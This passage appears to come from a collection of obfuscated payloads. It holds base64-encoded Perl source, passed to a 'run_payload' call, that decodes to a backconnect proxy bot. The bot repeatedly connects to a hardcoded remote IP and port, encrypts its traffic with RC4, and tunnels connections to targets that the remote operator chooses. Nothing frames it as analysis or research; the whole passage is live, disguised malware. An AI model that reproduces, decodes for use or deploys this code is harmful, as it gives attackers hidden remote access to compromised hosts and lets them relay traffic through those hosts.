ZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_27.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc2JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnR